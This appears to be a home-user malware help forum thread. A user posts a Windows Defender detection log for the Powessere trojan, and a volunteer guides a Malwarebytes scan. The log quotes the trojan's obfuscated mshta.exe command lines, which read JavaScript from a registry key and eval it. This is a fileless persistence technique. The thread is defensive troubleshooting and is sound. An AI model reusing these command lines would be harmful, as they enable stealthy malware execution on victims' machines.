Persistant Trojan:Win32/Powessere.H

[CainPDX]

Event Viewer gave this information on Event 1116 which is one of many similar events that occur each time I turn on my computer:
Windows Defender Antivirus has detected malware or other potentially unwanted software.
For more information please see the following:
Trojan:Win32/Powessere.H threat description - Windows Defender Security Intelligence
Name: Trojan:Win32/Powessere.H
ID: 2147726088
Severity: Severe
Category: Trojan
Path: CmdLine:_\Device\HarddiskVolume3\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C start "" mshta.exe "javascript:np8si="wPk";U5s=new ActiveXObject("WScript.Shell");DY3YUb4="cf0QT2cs";ht9kH1=U5s.RegRead("HKCU\\software\\eewn\\jmvryxenjm");B9OL8lS="v3R7";eval(ht9kH1);yod1qRHe="najkzw5";";CmdLine:_\Device\HarddiskVolume3\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C start "" mshta.exe "javascript1ytp3UQ="OsEleDvM";T9w9=new ActiveXObject("WScript.Shell");jqZ5p="z85p";O1w2wW=T9w9.RegRead("HKCU\\software\\eewn\\jmvryxenjm");W0kFQ0aRP="Moquky";eval(O1w2wW);yevFGLg7="TNvL";";CmdLine:_\Device\HarddiskVolume3\Windows\System32\mshta.exe "mshta.exe" "javascript:HIYtYH1X="BbcyJUP";rs47=new ActiveXObject("WScript.Shell");iM5UN9Ac="X";mYgT0=rs47.RegRead("HKCU\\software\\eewn\\jmvryxenjm");S1Slz="ZtF9r";eval(mYgT0);RuWi9="jbZ8qk";"
Detection Origin: Unknown
Detection Type: Concrete
Detection Source: System
User: NT AUTHORITY\SYSTEM
Process Name: Unknown
Signature Version: AV: 1.263.119.0, AS: 1.263.119.0, NIS: 118.2.0.0
Engine Version: AM: 1.1.14600.4, NIS: 2.1.14202.0

 

[CainPDX]

And by the way, Thanx a lot for providing this kind of help for home computer kibitzers like myself. You're GREAT!

 

[TwinHeadedEagle]

Hello,

Scan with Malwarebytes' Anti-Malware

Please download Malwarebytes Anti-Malware and save it to your desktop.

• Install the progam.
• Click the Scan tab, choose Threat Scan is checked and click Start Scan.
• If threats are detected, click the Quarantine Selected button. You will now be prompted to reboot. Click Yes.
• Upon completion of the scan (or after the reboot), click the Reports tab.
• Double-click the Scan Log.
• At the bottom click Export and choose Text file.

Save the file to your desktop and include its content in your next reply.

 

[CainPDX]

I appreciate your suggestions. I downloaded and ran the Malwarebytes scan. There were 614 problem files including several rootkit programs. I've attached the log file. Is there anything else I need to do?

 

[TwinHeadedEagle]

How is your computer behaving now?